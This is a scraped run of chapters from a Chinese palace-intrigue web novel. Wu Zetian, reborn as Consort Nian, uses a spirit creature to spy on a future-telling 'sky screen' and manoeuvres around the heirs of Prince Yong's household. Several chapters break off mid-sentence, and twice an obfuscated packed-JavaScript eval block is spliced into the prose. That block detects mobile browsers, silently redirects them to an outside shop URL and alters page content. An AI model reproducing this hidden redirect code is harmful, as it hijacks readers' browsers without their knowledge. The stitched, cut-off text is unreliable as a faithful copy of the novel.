[扩大寻找范围,也许那东西并不是每时每刻都在她身上,而是在她身边的某个范围内。] 武曌给凤龙出主意。 凤龙闻言,当即展开小翅膀,以嫡福晋为中心,一圈一圈的徘徊寻找,很快—— 【找!到!了!】 凤龙发出兴奋的呼喊。 [找到了?] 武曌喜上眉梢,一边和乌拉那拉氏寒暄,安抚她的情绪,一边问凤龙: [是什么?让乌拉那拉氏知晓未来的东西是什么?] 【我正在研究……】 凤龙有些为难地回答道。 【这东西……以我现在的成长程度,好像并不能把它从嫡福晋身上弄下来,更不可能将它吃进肚子……变成长大的养分……可恶!好讨厌这种无能为力的感觉!果然,现在的我还是太弱小了!】 [那东西到底是什么?] 武曌对凤龙的抱怨毫无兴趣,她希望尽快知晓嫡福晋的秘密。 【这东西……叫……叫……我正在接触它……它的名字是……天幕,又可以被称为历史直播系统……疑似来自平行时空的未来,因为来自未来,所以知道过去发生的一些事情……但是……是……平行时空的未来并不等于这个时空的未来……只能说大部分的时候内容都不会出错……好复杂的怪东西,宝宝完全不懂~】 凤龙忍不住牢骚起来。 即便是祂成年后将成为通晓世间一切秘密的至高存在,如今也只是个厌恶学习和思考的蠢笨幼崽,对任何需要祂的小脑袋消耗能量和时间去思考的复杂内容都敬谢不敏。 [天幕?历史直播系统?来自平行世界的未来?知道过去发生的一些事?但是不完全保证正确?] 武曌一阵困惑。 好在获悉“天幕”的存在以前,她已经遇上凤龙、拥有读心术、发现自己来到一千年后的世界、接触并接受了西洋的地圆说——所以,对天幕和历史直播系统这类对寻常人而言光怪陆离到怪力乱神的存在,早已见多识广的她竟只在初次听闻时感到惊讶,随即坦然接受。 [天幕和历史直播系统是什么并不重要,重要的是,拥有它,我就有一定可能提前获悉未来。] 【想要拥有吗?这个有点难度……】 凤龙伸出前肢挠头顶的珊瑚角。 【历史直播天幕系统这种蕴含巨大能量的东西对宝宝而言是大补的营养,可是我现在还很小,没有办法把它吃下来……也没有办法把它从嫡福晋身上剥下来按在姐姐身上……好讨厌……这种无能为力的感觉……不过……】 抱怨末尾,凤龙突然狡黠一笑。 【虽然暂时还没有能力把天幕从嫡福晋身上剥下来,但是……或许……宝宝可以……嘿嘿!开一个小窗偷看~】 [小窗偷看……] 武曌顿时兴致盎然,一边继续柔情蜜意地安抚因为想起丧子之痛而悲戚痛苦的乌拉那拉氏,一边催促凤龙赶紧开小窗。 【第一次做这种事情,业务不是很纯熟,需要花几天时间……所以你……你这几天都要来嫡福晋这边和她说话,让我有足够的时间完成开窗的工作……】 凤龙提出要求。 [没问题。] 武曌满口答应,同时将昨夜抄写的佛经递给乌拉那拉氏:“姐姐,我以后尽可能每天都送一本抄好的佛经过来,和姐姐一起祈祷大阿哥往生极乐世界。” “妹妹,你太……太善良了……” 乌拉那拉氏眼眶有些湿润,尤其想到年世华对自己如此至诚至真、自己却时常为年氏无可避免的早逝命运而暗自感到庆幸。 [我真是个卑鄙虚伪的女人,可怜她的早逝命运,却又时常为她和她的家族将来必然经历的悲剧而幸灾乐祸。] [你会为自己偶尔的幸灾乐祸感到惭愧,说明你本心是善良 17.西洋传教士 《[清穿]年妃则天》全本免费阅读 晚上,武曌将自己有意通过兄长年希尧寻一名西方传教士入王府教授三阿哥各类西洋知识的想法告诉胤禛。 胤禛听后,反问年世华:“这是你的想法还是福晋她们有这个想法又不敢向爷提,让你在爷面前说?” “是奴才自己的主意,奴才觉得皇上喜欢西洋知识,三阿哥身为皇孙,理应对西洋知识有所狩猎。” “有所狩猎……” 胤禛沉吟片刻,道:“弘时跟随何清学习至今都文不成武不就,远不及其他皇孙……倘若他能在西洋学上有所成就,或许能在皇阿玛跟前博得几分喜欢……怕只怕……他对西洋学也是毫无天分,浪费了大家的时间……” “三阿哥是爷的骨肉,再没有天分也不可能过分愚蠢,他现在应该只是年纪还小,性情贪玩,等长大一些自然就——” “……但愿如此。” 胤禛心不在焉地说着,搂住女人。 弘时自幼表现出的蠢笨让他心烦意乱,偏偏这个废物是他目前唯一的儿子。 [但愿钮祜禄氏和耿氏下半年都能给我生下健康的儿子……世华应该也会给我生下孩子,如果是她的孩子的话,肯定会很聪明,而且生下来就得到皇阿玛的喜欢……毕竟,皇阿玛这些年最信任最看重的臣子是年羹尧……] 胤禛关于儿子们的考虑如泉水般涌入武曌耳中。 他现在无比期待年世华为他生孩子,并把年世华未来可能生下的儿子当做夺嫡的助力。 [由此可见,我必须尽快将年世华的身体调理好。现在这副身体……就算能平安生下孩子,多半也会亏损厉害,难以长寿……] 武曌暗暗想着,脸上的笑容更加明媚可爱:“四爷,时候不早了——” “我当然知道时候已经不早。” 胤禛低头,看着女人如乌云般柔软浓密的黑发:“今天晚上,爷依然在你这里过夜……” …… …… 第二天晌午刚过,派去年家通知此事的奴才就带回了年希尧和一个西洋传教士。 奴婢在屋外禀告道:“主子,大公子来了,还带来了一个西洋传教士。” “哦?” 年希尧办事居然这么快速? 武曌微微一笑,让奴婢将两人带入屋内,用上等的茶水糕点招待,漂亮的眼睛看了眼西洋传教士——此人身材高壮粗大,皮肤又白又粗糙,脸上的毛孔大得像麻子,眼睛深凹下去,鼻子像鹰钩,头上戴着圆形僧帽,身上穿着棕灰色长袍,腰系一根麻布绳子:“这位是——” “穆景远,我的汉字名字是穆景远。” 西方传教士用作为西洋人而言非常优秀的汉语热情洋溢地自我介绍:“我来自欧罗巴地区也就是你们所说的西洋,奉教皇的命令造访大清帝国,我非常高兴我今天能跟随年大公子得到侧福晋的接见……” “你的汉语很不错。” 武曌嘉奖地看着这位西方传教士。 他显然是个功利心很强又懂得审时度势的家伙。 “因为想在大清帝国得到贵族甚至皇帝陛下的青睐,我一直努力学习汉语,甚至我还能说少量满语和蒙语……” 渴望得到权势的传教士满脸热切地看着年世华:“听年大公子说雍亲王有意请西洋传教士担任三阿哥的家庭教师?” “你想入王府教授三阿哥?” 武曌反问。 她至今没有听到穆景远的心声,这让她怀疑他心中另有谋算——以穆景远的表现,此刻的他不可能没有激烈的心理活动,但是她听不见,可见这些内容和她无关。 穆景远没想到年世华态度如此冷静,一点都不像个十五六岁的少女,不禁舌尖微微打滑,险些说出拉丁语。 但他很快调整了状态,笑道:“汉人有句话说,学得文武艺,卖与帝王家,我们这些传教士不远万里来到大清帝国,自然也是想在大清的疆土上做成一些事业,而成为亲王的宾客显然是一条捷径。” “兄长以为如何?” 武曌不置可否,看向一旁的年希尧。 年希尧讪讪一笑,道:“穆景远是个很聪明很有才学的人,尤其精通教育,九贝子就是得了他的教育才成为皇家诸位阿哥中唯一精通拉丁文的人。” “拉丁文?” 武曌心中生出熊熊好奇,面上却一如既往的平静:“穆先生愿意教授拉丁文?” “不论是拉丁文还是其他西洋知识,只要是我擅长的而阿哥们愿意学习,我都愿意倾囊相授。” 穆景远热络无比地表示,浑浊的蓝灰色眼中闪过期待的光。 武曌再次看向年希尧:“兄长——” “我和他只是点头的交情,”年希尧有些支支吾吾,“若是幼妹觉得合适,可以将他举荐给爷,若是不合适,也不用顾及我的颜面。” “教育这种事情讲究的是一个缘分,不只是我们觉得合适,还需要三阿哥那边也喜欢。” 武曌态度暧昧地说着,让奴仆带穆景远去偏房休息。 …… 穆景远走后,武曌立刻收敛笑容,直言问年希尧:“兄长是否有事情瞒我?” “幼妹——” “你从进屋开始就眼神闪躲、心绪不宁。” “我……” [没想到幼妹这么快就发现问题,但是这件事……这件事……绝对不能让幼妹知道!] “到底发生了什么?” 武曌柔声细气地看着年希尧:“莫不是官场上得罪了人?” “我担的是清闲职务,又有父亲、亮工和雍王府作为依靠,就是真得罪了谁也不用担心惹出事情。” “那你为何愁眉不展?” 武曌追问。 年希尧低头:“我……我最近……最近忙着做几何题目,有时候——” “兄长终究还是把妹妹当做了外人。” 武曌做出委屈姿态,泫然欲泣的模样惹得年希尧连忙软声哄骗:“妹妹……妹妹……大哥我……我才没有……没有……” “那你为什么不告诉我发生了什么?” “因为——” 年希尧咬咬牙,说出真相:“穆 18.天幕复刻成功 《[清穿]年妃则天》全本免费阅读 晚上,胤禛回到王府,从苏培盛处得知年希尧来过,带着一个名叫穆景远的西洋传教士。 “穆景远?” 胤禛皱眉:“他不是老九的人吗?怎么突然跑爷这边?” “听侧福晋的意思似乎是这个西洋传教士有意在雍亲王府谋个职位。” “他想做弘时的西洋学老师?” 胤禛冷笑。 他才不相信被胤禟引为心腹的传教士穆景远会主动倒戈自己。 不过—— “既然人现在就在王府,不见未免显得不礼貌。” 胤禛放下茶盏:“带他过来。” “嗻——” “侧福晋也一并叫过来。” “嗻——” “还有……” 胤禛想了一下:“既然他打着给弘时做西洋学老师的幌子而来,爷不妨成全他……让弘时暂停功课过来和穆景远见上一见……” “奴才遵命。” …… 半盏茶时间过后,穆景远首先被带到胤禛面前。 他在京城生活多年,汉语已经非常通顺,又懂得清帝国的规矩,见到胤禛立刻弯腰行礼:“传教士穆景远向雍亲王爷请安。” “穆景远先生别来无恙。” 胤禛阴阳怪气,手指不断盘弄念珠。 穆景远干笑:“托几位爷的福,勉强在京城有口饭吃。” “可我听说你这些年一直帮老九打理西洋生意,替他赚了不少银子?” “九爷最是务实,我必须证明自己是有用的人才能厚着脸皮在九爷的府上住下去。” 穆景远努力陪着小心谨慎。 他和胤禟关系甚笃,因此知道四爷和八爷的关系并没有外人看起来那么亲密,兄友弟恭的表象下是各种暗涛汹涌。 “你为了在老九身边立稳脚跟废了不少心血,为何如今又主动投向四爷我这边,想在雍王府某个职位?” “这个……” 穆景远擦了擦冷汗,可怜兮兮地说道:“汉人有句话,良禽择木而栖,我这是——” “你哪是良禽择木而栖,分明是狡兔尚且三窟!” 胤禛讽刺穆景远。 穆景远不吭声,任他冷嘲热讽。 这时,侧福晋年世华、三阿哥弘时连同弘时的母亲侧福晋李佳兰一并来到——李氏没有传召,但她身为母亲无法不担心儿子,于是自作主张地跟了过来。 “奴才给爷请安。” “儿子给阿玛请安。” 三人一起向上方的胤禛行礼。 胤禛看了眼跟在弘时身后的李氏,示意她暂且退到屋外。 “爷——” 李氏试图留下。 胤禛毫无怜悯地移开目光。 苏培盛会意,催促李氏离开。 李氏委屈至极,一步三回头地走出房间。 李氏走后,胤禛让年氏和弘时都起来,意味深长地看了他们一眼,随即又看向站在一旁的穆景远:“你当真想留在爷这边做三阿哥的西洋学老师?” “能够成为三阿哥的西洋学老师,是穆景远的荣幸。” 穆景远满脸殷勤。 胤禛笑而不语。 弘时闻言,露出委屈姿态:“阿玛,儿子……儿子……” “怎么?不想学?” 胤禛板下脸。 要知道,生为皇子皇孙,本就没有懈怠的权利,何况康熙皇帝一直希望他的每个儿子每个孙子都拥有惊世才学,连从小被不会汉语的仁宪皇太后抚养因此一度不学无术沦为笑柄的五爷胤祺都知耻而后勇学得吟诗作赋的本事,何况弘时这个雍亲王府迄今为止唯一的男丁? “儿子不是不想学,儿子……儿子……” “是什么!” “儿子愚钝,恐怕辜负阿玛的苦心。” 弘时委屈得快要哭出来了。 生于康熙四十三年的他如今虚龄八岁,正是天真烂漫好动贪玩的年纪,即便知道自己必须每天努力学习才能得到阿玛的喜欢,终究是抵不住孩童向往自由晴朗天空的本性。 “儿子只想……只想……” “你是爷的儿子,甚至可能是爷唯一的儿子,你怎么可以说出这种不争气的话?” 胤禛神色冷漠,怒目弘时。 弘时低下头,不敢看阿玛的眼睛。 胤禛随即转头看向穆景远:“你当真要做三阿哥的西洋学老师?哪怕三阿哥无心学习?” “我既毛遂自荐,自然不会轻易放弃,何况,四爷府上马上又要新添两位小阿哥……或许那两位小阿哥也是可造之材呢?” 穆景远笑容谄媚。 胤禛脸色顿时阴晴不定。 膝下只有弘时这么一个不争气的儿子的他确实日夜期盼钮钴禄氏和耿氏能够为他生下聪明厉害的男孩,争取皇阿玛的欢心,但是这些话从和老九关系亲密的穆景远口中说出—— 他不免开始怀疑此人另有所图。 不过话说回来,穆景远若非另有所图,又怎么可能突然离开胤禟投奔自己? 这个家伙—— [倒是年氏的表现让我有些刮目相看,以她的聪明才智不可能不知道穆景远有所图,却将此人留下交我处置,可见她……] 想到此处,胤禛挥手让下人带弘时回去,穆景远也去偏房等候。 “静候四爷决断。” 穆景远强作镇定地说道。 他显然也没有十足的把握能够留在雍亲王府做弘时的西洋学老师,但他必须这么做。 …… 弘时和穆景远相继走后,胤禛抬头,看了眼低眉顺眼的年世华:“过来——” “爷有什么吩咐?” “就是想瞧瞧你这女人到底是什么胆量和心思,竟敢背着爷自己做主。” 胤禛笑盈盈地看着女人,试图从她的脸上找到慌乱和不安。 武曌回应他的心声,露出宛如受惊小鹿般的惊恐:“奴才……奴才绝不敢自作主张,奴才只是觉得穆景远的学问很好,能耐也好,又是主动寻上门的,若是由他担任三阿哥的西洋学老师,必定能助三阿哥早日成才。” “他是胤禟的人。” “这件事情……” “不知道怎么回答?” 胤禛伸手,揽住女人的腰肢:“你该不会和其他人一样 19.钮祜禄氏的肚子 没想到天幕会突然自行开启并播放内容,乌拉那拉氏眼中闪过一抹慌乱——因为天幕的特殊性,她永远不必担心被年氏或其他人发现天幕的存在,但是年氏坐在身旁必然影响她观看天幕内容。 想到此处,乌拉那拉氏故意扶了扶额头,道:“上了年纪果然精神不济,昨晚上没睡好,今天就一个劲的头晕眼花……” “姐姐身体不舒服?” 武曌附和。 经过凤龙的一番操作,她也已经能观看天幕内容,因此对乌拉那拉氏此刻的装腔作势心知肚明。 “有些晕,怕是要躺下才行……” 乌拉那拉氏做出痛苦姿态:“妹妹若是没有其他事情,姐姐就——” “姐姐身体要紧。” 武曌借坡下驴,和嬷嬷们一起扶乌拉那拉氏入内室歇息,临走时一步三回头,似乎恋恋不舍,其实观察悬在乌拉那拉氏上方的天幕。 …… 年世华走后,乌拉那拉氏长舒一口气,打发了奴婢和嬷嬷,垂下床帷,兴致勃勃地观看天幕直播。 另一边,武曌也在观看直播,透过凤龙制作的复刻版天幕。 因为是第一次观看天幕,她感觉一切都很新奇。 不论是天幕本身还是天幕里那穿着怪异的捉襟见肘的衣服、正手舞足蹈的被称为主播的短发男子,或是男子身后一块块似天幕又不是天幕的播放眼花缭乱的画面的四方形屏幕。 [天幕……历史直播系统……到底是什么……] 武曌困惑。 即便她拥有绝高的智慧,永不枯竭的对世界的好奇心,能在极短的时间内接受穿越到千年后的世界、和自称凤龙的神兽幼崽成为同盟、过往的地理认知全部被新发现推翻等海量颠覆性的知识与事实,天幕这样的存在还是再次挑战了她对未知的接受程度。 【天幕……天幕这种东西……】 凤龙也有些为难,露出支支吾吾的模样。 与天幕接触的瞬间,祂远在未来的灵魂便完全理解了天幕的本质和构造,但未来的完全态凤龙并不完全等于现在的幼年态凤龙,即便未来态的凤龙逆时光流将对天幕的理解送入幼年凤龙的思维中,幼年凤龙也不知道如何将这些知识以正确的逻辑方式讲出口。 【未来的我刚刚……刚刚传回一些消息,祂说……天幕……天幕是未来,就像未来的我可以把灵魂和思维送进过去的身体里,天幕也是把未来的知识送回过去……不同的是……不管多少个世界,凤龙都是唯一的,但是天幕……不论是制造天幕的世界还有能够收到天幕传送来的知识的过去的世界……并不完全等同……】 [……我有点听不懂了。] 武曌实话实说。 【听不懂很正常……因为这些都是未来的我送回来的知识……吾……吾……凤龙从过去到未来都是唯一,然而世界并不唯一,时间也不唯一……天幕亦不例外……天幕传递的信息知识未来的一种可能……至少,对活在过去观看未来天幕的人而言,未来并不是唯一……】 突然肃穆的声音如黄吕大钟般在武曌脑海中响起。 是未来态的凤龙! 未来态的凤龙正在对她说话,虽然话语晦涩难懂,但其中蕴含的深意却耐人回味。 [……你的意思是,天幕来自未来,能够让有幸被选中观看天幕的活在过去的人知道未来会发生什么,但天幕播放的内容并不一定正确,只是未来的一种可能。] 【女皇陛下果然如吾所期待的那般富有聪明才智。倘若有人因为得到天幕而凡事遵循天幕,命运必会给予他/她超乎想象的可怕馈赠。】 [只遵循天幕做事……就像笃信谶言的人凡事只按照谶言占卜结果……那确实是一件可怜可怕又可悲的事情……] 武曌叹了口气。 自这一刻起,天幕对她而言已不再具备致命的吸引力,她会定期观看天幕,通过天幕获取关于未来的必要知识,但她永远不会盲信天幕,更不可能凡事都听从天幕。 她将把天幕当做一个不会说话的谋臣,一本沟通过去和未来的深不可测的书。 …… …… 六月缓缓到来,格格钮祜禄氏的身子日益笨重。 在嬷嬷们的搀扶下,钮祜禄氏小心翼翼散步,手指期待地抚摸着隆起的小腹,耳边响起上个月去庙里烧香还愿时高僧对她说的话。 “——贵人是有福之人,贵人肚子里的孩子更是天定的福运之人。” “大师此话何解?” 钮祜禄氏大喜,当即问大师:“莫非我肚子里怀的是男婴?” “天机不可泄露。” 高僧双手合十低宣一声佛号,退到一旁。 钮祜禄氏不敢追问,只是从此把高僧的这句话记在心中,反复回味,越想越确定高僧在暗示自己怀了男孩,并且是个将来可能继承雍亲王爵位的极聪慧的小阿哥。 想到这里,钮祜禄氏不由地眉开眼笑。 这时,侧福晋年氏来访。 钮祜禄氏赶紧搭着嬷嬷的手做出行礼姿态:“格格钮祜禄氏给——” “妹妹身体贵重,怎么能行礼。” 武曌一个箭步上前,抢在钮祜禄氏屈膝前扶住她,目光温柔地看着她的小腹:“胎儿现在如何?” “昨日大夫请脉,说孩子很健康,至多八月底就可以生下来。” 说到此处,钮祜禄氏忍不住笑出声。 武曌此时已经从天幕处知晓钮祜禄氏将会生下助胤禛成为雍正并最终继承皇位的弘历,钮祜禄氏也将作为皇帝生母被封大清皇太后,但是她不在乎,因为凤龙说过,天幕播放的并不一定是这个世界的未来,它只是未来的一种可能。 [即将被钮祜禄氏生下的弘历或许是个厉害角色,但我相信我会生下更加聪明厉害的儿子。] “越是临近生产,越是要小心身体。” 武曌假意关切地叮嘱道:“古往今来,不知多少女人在生孩子的时候一只脚踏进鬼门关。” “这事我也有所耳闻……但为男人生儿育女是女人的天职,倘若因此跨不过鬼门关也是自己的命数……” 钮祜禄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897303|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏一脸坦然模样。 高僧说过,她是有福之人,她肚子里的孩子更加有福。 有福的人不会在生孩子的时候死去,有福的人生下的孩子也会健康长大。 [……倒是嫡福晋年氏身体娇弱,难怪她会担心女人生孩子的时候跨不过鬼门关。] 钮祜禄氏的小心思无声无息地传入武曌耳中。 武曌淡淡一笑,与钮祜禄氏一起走进室内,在奴婢们用排扇吹动的习习凉风中,柔声细气地说道:“爷留下穆景远这个传教士不仅仅期望他给三阿哥授课,更希望将要出生的四阿哥和五阿哥能从小接触西洋学,比其他皇孙更加聪明厉害,博得皇上的欢心。” “四阿哥……五阿哥……” 钮祜禄氏愣了一下,随后意识到“四阿哥”指的是自己肚子里的孩子,“五阿哥”则是耿氏的孩子。 “——离孩子出生还有些时候呢。万一生下的是小格格不是小阿哥……岂不是……” “爷和嫡福晋轮流请高人给王府相看风水,都说雍亲王府的格局非比寻常,一定会接连生出尊贵的阿哥。” 武曌笑盈盈地说着,目光温情脉脉,毫无虚伪做作。 钮祜禄氏不禁为自己方才生出的幸灾乐祸心思而感到惭愧。 [……侧福晋真是个温柔善良的人。] “爷已过而立之年,膝下却只有一个阿哥,如果能一年内连添两个阿哥,当真是大喜大福的事情。” “我也每日都祈祷能为爷生下小阿哥。” 钮祜禄氏被年世华的真情感动,轻抚小腹,情难自禁:“不求聪慧有福,但求健康平安。” “你的心愿,佛祖会听到的。” 武曌柔声细气地附和着。 她不知道佛祖能不能听到钮祜禄氏的祈祷,但在天幕展示的未来中,钮祜禄氏生下了阿哥弘历,耿氏生了阿哥弘昼,而年氏—— 年氏生下的所有孩子包括唯一的儿子福慧全部不幸夭折。 难怪嫡福晋每次看到自己都会生出怜惜又同情的心思。 难怪乌拉那拉氏从不怨恨年氏受宠。 谁会和一个红颜薄命、所生子女尽数夭折、娘家也被打断脊梁骨的女人计较短暂的宠辱得失? 这时,凤龙突然翘起祂那五根闪烁着绚烂光芒的尾巴,兴奋得仿佛开屏孔雀,抽着鼻子贴向钮祜禄氏的肚皮。 【好香啊~】 [好香……你……你的意思是……] 武曌大惊,险些被钮祜禄氏看到明显的神色变化。 凤龙狡黠一笑,擦了擦嘴角的口水。 【她的肚子里有着一团被你们称为真龙天命的强大能量,如果把它吃进肚子,宝宝就会迅速长大,拥有化形能力~】 [化形?] 武曌有点意外。 凤龙这等神兽居然也和寻常山精鬼怪一样要—— 【幼崽要长成完全体,化为人形行走在人世间、理解人世间的种种爱恨情仇贪嗔痴怨是必经阶段……】 未来的声音穿越时空之河,传入武曌耳中。 20.算计防备 时间弹指流逝,不过眨眼的功夫,已经到了七月的末尾。 见钮祜禄氏的身体越发笨重,通过历史直播天幕知道这一胎至关重要的嫡福晋摆出贤惠姿态,不仅为钮祜禄氏约请大夫,还从镶白旗属人中选了三名身体健壮、奶水充沛的乳母,协助妇人生产的稳婆更是搬进偏房居住,日夜陪伴,随时可以为钮祜禄氏接生。 另一边,上午跟着何清学四书五经下午跟随传教士穆景远学西洋知识的三阿哥弘时眼见雍亲王府上上下下都严阵以待迎接钮祜禄氏肚子里的弟弟/妹妹,竟莫名地焦躁起来。 侧福晋李佳兰将儿子的种种异常看在眼里,在七月的最后一天,以消暑的名义,把年世华请到自己处。 武曌应邀而来,见绿油油的葡萄架垂满沉甸甸的葡萄,铜缸里浸泡着翠绿的西瓜、粉白的桃、浓紫的李、鲜黄的杏等时令水果,桌案上各式糕饼点心盛在西洋珐琅器皿,不禁赞道:“姐姐好雅兴。” “我也就在弄吃食这件事上有点自信。” 李佳兰笑容可掬,请年世华坐下,亲自给她倒一杯桂花酸梅汤:“夏日炎炎,唯独酸梅汤解暑去腻开胃。” “谢姐姐关心。” 武曌接过酸梅汤,勺子轻轻拨弄几下,发现酸梅汤内居然还放着珍珠大小的五彩糯米圆子,另有部分糯米圆子染成绿色做成了荷叶形状:“这份心思……” “无聊时的些许巧思。” 说到这里,李佳兰露出失落神情:“可惜花无百日红,人无……当年在阿哥所的时候,爷对我的宠爱胜过其他所有人,我做的吃食,他是每一口都喜欢得紧……但是如今……如今的我依然能做出各式美食,味道和样式都比当年更加精致美丽,爷却……却……” “姐姐,爷自从受封和硕雍亲王,每日忙碌公务,日常难免少了闲情雅趣的心思——” “我知道……我知道爷如今很忙很忙,也知道爷并非有意冷落我,但是……” 李佳兰叹了口气,招呼嬷嬷将正在书房背书的三阿哥叫过来。 “嗻——” 嬷嬷退下。 李佳兰直勾勾地看着年世华:“妹妹,姐姐有个不情之请——” “一家姐妹,但说无妨。” “姐姐……姐姐……” 李佳兰犹豫再三,终于鼓足勇气:“三阿哥是王府眼下唯一的男丁,爷对他寄以厚望,每日的课程都安排得满满当当,可是三阿哥并不是……并不是爷希望的那块材料……他……他……” [我希望你能给我儿子辅导功课,只靠穆景远和何清两人轮流教授,弘时怕是永远都无法学有所成……] 李佳兰的心思传入武曌耳中,带着几分傲慢。 毕竟,雍王府内眼下唯二存活的孩子都是她生的,嫡福晋乌拉那拉氏所生嫡长子已经夭折,弘时将来有很大可能以庶长子身份继承雍亲王的爵位。 当然,心里这样想,嘴上还要保持必要的礼貌:“……听说年家妹妹你博古通今,在西洋学领域也颇有心得,三阿哥若能在学习之余得你指点教导,一定可以事半功倍,成绩突飞猛进。” “姐姐说笑了,我那点学识无非是待字闺中时跟在父兄身后耳濡目染学了点皮毛,哪能算本事。” 武曌还没想好要不要接三阿哥这个烫手山芋。 “是吗?” 李佳兰不信。 儿子在学习这件事情上的无能为力以及他因为钮祜禄氏随时可能生产而爆发的焦躁不安都让身为母亲的李佳兰也日夜不得安眠,她需要年世华的帮助,虽然她并不确定这份帮助是否有意义。 “三阿哥是我的孩子也是爷的长子,将来……将来可是有可能继承爷的爵位……” 李佳兰直勾勾地说道:“妹妹,帮帮姐姐吧!这么做不只是帮我们母子,更是在帮咱们的爷。” “姐姐……” 武曌低头顺眉:“我是怕自己才疏学浅,耽误了三阿哥这块璞玉。” 【璞玉吗?我怎么感觉这家伙是个顽石呢?】 一旁的凤龙不怀好意地笑话着。 [被母亲寄以厚望的孩子都是母亲眼中的璞玉,哪怕她知道这块‘玉’的成色很糟糕。] 【……哦,原来这就是所谓的‘望子成龙,望女成凤’,可惜……可惜龙也好凤也好,都只有古往今来顶级大气运者才能接触……不论是弘时还是李佳氏,他们的气运都太弱太弱,连龙凤的鳞片羽毛都沾不到——】 凤龙嘲讽地说着。 此时,嬷嬷已经带着三阿哥来到两人面前。 “儿子给两位额娘请安。” 虚岁才八岁的弘时一脸不符合年龄的憔悴,他早已不堪学习重负,却因为阿玛、额娘的要求以及迫在眉睫的压力不得不日夜苦读。 “不必多礼,坐下吧。” 武曌让弘时坐下。 弘时看向母亲,得了母亲示意后才战战兢兢坐下,腰杆挺直,精神紧张:“额娘……额娘……” “妹妹,弘时他这段日子一直都在努力学习,但是穆先生教授的内容实在太艰涩,给弘时解释的时候又夹着洋文,弘时他……他越学越头痛,每次上课都会积一堆的问题还不知道怎么问,这……这样下去日子可是要怎么过活……” 李佳兰愁眉苦脸地看着年世华。 她希望年世华能在穆景远授课之余也给予弘时一定的教导,让弘时早日得到四爷的夸赞。 可惜—— [哪怕不考虑未来可能的竞争性,历史直播天幕也已经说得很明白,弘时此人不仅资质普通,情商也堪忧,雍正登基后都已经开始下手整治老八、老九了,他依然顾念旧情,和老八、老九往来,几次为他们出言顶撞雍正,最终导致自己被过继给老八……] 武曌暗道。 从天幕给出的信息看,重情重义或许是弘时身上唯一值得称道的美德,但无视直系血亲的父亲和弟弟们,将真情全数倾倒给两位叔叔,可见此人—— [这样的人放什么地方都注定是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12912629|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个让亲者痛仇者快的无能之辈,但是……] 转念间,武曌又想到弘时终究顶着庶长子名分,而年世华又是出了名的温柔贤淑性情,在自己还没有掌握雍亲王府的绝对主权的现在,必须将此人也作为笼络对象,至少—— [不能让他人看出我不喜欢弘时,他纵有万千缺点,只要雍正还活着,能够惩戒他、贬低他的就只有他的父亲没有我。] 想到此处,武曌冲着弘时露出温柔笑容,承诺道:“我一定尽我所能地教导,倘若我教授的内容和穆景远先生的课程相悖,三阿哥一定要以穆景远先生的内容为准。” “儿子明白。” 弘时脆生生答道,看年世华的眼神充满崇拜和憧憬。 李佳兰也松了口气,双手合握,虔诚道:“佛祖保佑,佛祖保佑,年家妹妹果然是世间最善良最温柔的好人。” [以后弘时继承雍亲王爵位,可得让弘时好好奉养年家妹妹。] [谢谢你的单纯,可惜我想要的从来不是被下一任雍亲王善待奉养,是更高更远的东西。] 暗念间,武曌故作不在意地对李佳兰道:“听说钮祜禄氏自怀上以后,不论是请风水大师看相还是找西洋传教士占星或是去庙里求签祈福,得到的都是上上好的结果。可见这一胎多半真能给爷再添一名小阿哥。” “这事……我也有所耳闻……” 李佳兰的脸色有点微妙。 格格钮祜禄氏入府多年拢共得了两三次的宠爱,因此,她即便这次能够生下儿子也会因为新入府的侧福晋年氏继续不得宠,但是—— [四爷子孙单薄,膝下如今只有弘时一个儿子,所以弘时即使表现平平,四爷对他依然寄以厚望、宠爱有加。可倘若钮祜禄氏生下的是资质上等的阿哥……年氏将来也生下小阿哥,弘时……弘时该怎么办?弘时他只是庶长子,并非嫡长子……何况年氏在玉牒上面的名字本就排在我前面……] “钮祜禄氏素来不怎么得宠,若是她能第一胎就生下阿哥,也算是给王府添了不少福气。” 李佳兰强忍着微妙情绪努力露出笑容。 她很难受,但是她什么都不能说。 至少,当着年世华和外人的面不能说。 皇家最恨后院的女人为了自身利益争斗不休害了凤子龙孙。 但是—— 真的能一点怨恨也没有吗? 她可是曾经得过专宠的女人啊! [孩子还没出生,谁能确定钮祜禄氏这一胎必能生下儿子?就算她侥幸生下儿子,雍王府夭折了那么多的孩子,她的儿子也未必能健康长大……未必就天赋不凡……比弘时更加不凡……反倒是年氏……年轻漂亮又得宠的年氏和她将来可能为爷生下的孩子们更有可能成为我们母子的威胁……] 【有意思,上一秒还在思考将来要怎么感谢报恩,下一秒就担心自身利益受损又开始算计防备了~】 凤龙将李佳氏的心绪变动收入眼帘,兴致勃勃地翘起尾巴。 21.表忠心 晚上,胤禛回到王府,得知李氏让年氏教授儿子弘时,嘴角不禁泛起自嘲:“弘时如此不堪,却是雍王府如今的唯一子嗣,难道天命真不在我这边?” “爷,您——” 戴铎露出游移之色。 一旁李卫见状,安抚道:“爷,您不要气馁,府里马上有两位格格要再生下小阿哥了。” “还没有出生的孩子……谁知道是男是女……而且……即便出生也未必能……” 胤禛再度叹息。 他的嫡长子弘晖就—— “爷,您是真龙之子,一定会有配得上您的优秀阿哥。” 李卫与苏培盛一左一右地安抚着。 